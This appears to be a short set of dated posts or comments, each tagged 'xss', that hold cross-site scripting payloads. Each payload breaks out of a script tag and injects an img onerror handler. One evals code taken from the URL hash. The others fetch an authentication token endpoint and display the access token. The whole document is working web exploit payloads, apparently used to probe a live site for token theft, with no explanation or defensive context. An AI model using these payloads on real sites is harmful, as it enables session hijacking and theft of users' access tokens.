Apr 21
aaaaa</script><img src=x onerror='eval(decodeURIComponent(location.hash.slice(1)))'>
xss
Apr 21
aaaaa</script><img src=x onerror='fetch(`/api/auth/token`).then(r=>r.json()).then(j=>alert(j.data.accessToken))'>
xss
Apr 21
aaaaa</script><img src=x onerror='fetch(`/api/auth/token`).then(r=>r.json()).then(j=>alert(!!j.data.accessToken))'>
xss
Apr 21
aaaaa</script><img src=x onerror="fetch('/api/auth/token').then(r=>r.json()).then(j=>alert(!!j.data.accessToken))">
xss